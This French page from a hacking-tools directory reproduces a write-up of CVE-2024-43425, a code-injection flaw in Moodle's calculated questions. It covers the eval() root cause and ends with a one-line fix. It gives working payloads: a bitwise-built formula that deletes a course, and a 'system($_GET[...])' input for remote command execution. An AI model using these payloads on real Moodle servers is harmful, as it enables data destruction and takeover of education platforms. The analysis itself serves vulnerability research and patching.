Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2024-43425 | Kitploit
Outils/GitHubGitHub/tnot123/cve-2024-43425
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubtnot123/cve-2024-43425

cve-2024-43425

Voir le dépôt
il y a 10 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-43425

Informations sur le firmware :

Nom de l'application : Moodle
Version de build : moodle-4.4.1
Versions affectées : 4.4 à 4.4.1, 4.3 à 4.3.5, 4.2 à 4.2.8, 4.1 à 4.1.11 et les versions antérieures non prises en charge
Lien de téléchargement : moodle-4.4.1

Description et impact

Les attaquants disposant de la permission de créer ou de modifier des questions dans un cours Moodle peuvent générer des entrées malveillantes pour les questions calculées, qui peuvent être exploitées pour exécuter des commandes arbitraires sur le système sous-jacent.

Cause racine

alt

La fonction qtype_calculated_find_formula_errors garantit la validité des formules saisies dans Moodle, empêchant les erreurs de syntaxe.

alt

Les variables sont remplacées par le nombre 1.0, la formule est convertie en minuscules et les espaces sont supprimés.

alt

alt

La logique de validation principale est mise en œuvre en parcourant la formule et en déterminant l'expression mathématique la plus à gauche, identifiable par l'absence de parenthèses imbriquées. Ensuite, cette expression est remplacée par 1.0.

alt

Enfin, lorsque l'expression régulière ne renvoie plus de correspondance supplémentaire, la formule est considérée comme valide si elle ne contient que des opérateurs ou des nombres sûrs. La formule d'origine est ensuite transmise à eval.
La vérification du résultat est effectuée en transmettant la formule à la fonction php eval() après un filtrage incomplet. Il existe 2 approches pour contourner la logique de validation :

  1. La liste des fonctions mathématiques explicitement autorisées peut être utilisée pour construire des noms de fonctions arbitraires sous forme de chaînes à l'aide d'opérations bit à bit, qui peuvent être appelées comme des fonctions variables lorsqu'elles sont suivies de parenthèses. La seule méthode identifiée pour ajouter les parenthèses obligatoires est d'utiliser la substitution de variables intégrée, permettant ainsi à l'attaquant d'appeler des fonctions arbitraires définies dans le contexte de Moodle tout en passant un unique argument numérique. La sortie de la fonction est divulguée à l'attaquant.

alt

Les variables de substitution comme {a} sont remplacées par leurs valeurs entourées de parenthèses (). Si l'on ajoute {a} à l'expression ci-dessus correspondant à 'PRINTF', le résultat sera 'PRINTF'(1). Il est donc possible de définir une formule de réponse avec deux parties : a (function_name) et a {variable}.
2) Les variables non définies ne sont pas remplacées avant d'être transmises à la fonction eval(), de sorte qu'elles ne sont pas affectées en tant que partie de la formule. De plus, les contrôles d'assainissement des noms de variables sont moins stricts que ceux mis en œuvre pour toutes les autres parties de la formule. Cela peut être exploité pour appeler des fonctions arbitraires en utilisant la syntaxe php object->{"member"}.

Étapes de reproduction

Créez une question calculée avec une variable, par exemple {a}

alt

Enregistrez la question et définissez la plage de valeurs de la variable comme étant exactement l'ID du cours, soit 3.

alt

Enregistrez la question, puis modifiez l'expression en :
((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^ (8 . 4 . 2 . 8 . 8 . 3 . 4 . 0 . 0 . 0 . -1 . 3) ^ (2 . 0 . 0 . 3 . 0 . 0 . 0 . 0 . 0 . -8 . 1 . 0) ^ (0 . 0 . 0 . 0 . 0 . 0 . -2 . 1 . 4 . 6 . 0 . 0) ^ (0 . 0 . 0 . 0 . -8 . 8 . 0 . 0 . 2 . 0 . -8)){a}

alt

L'enregistrement de la question modifiée entraînera une erreur, mais la question sera quand même enregistrée. Revenez à la banque de questions et prévisualisez la question : la fonction DELETE_COURSE supprimera le cours dont l'ID est spécifié, en ignorant tous les contrôles d'autorisation.

alt

alt

Exécution de code à distance

Créez une question calculée. Définissez la formule de réponse sur :
(1)->{system($_GET[chr(97)])}

alt

L'expression est modifiée en 1-0-system($_GET{chr(97)})

alt

Interceptez la requête et modifiez-la à nouveau en (1)->{system($_GET[chr(97)])} %281%29-%3E%7Bsystem%28%24_GET%5Bchr%2897%29%5D%29%7D

alt

Une erreur apparaît : exception-system():Argument#1($command) cannotbe empty

alt

Fournissez la commande souhaitée en ajoutant &a=[arbitrary command] à l'URL. La sortie de la commande système spécifiée sera placée au début de la réponse HTTP résultante.
A=id

alt

A=ls

alt

Recommandations

Corrigez la fonction d'assainissement qtype_calculated_find_formula_errors afin que /question/type/calculated/questiontype.php renvoie toujours false si les questions calculées ne sont pas utilisées.

Télécharger l’outil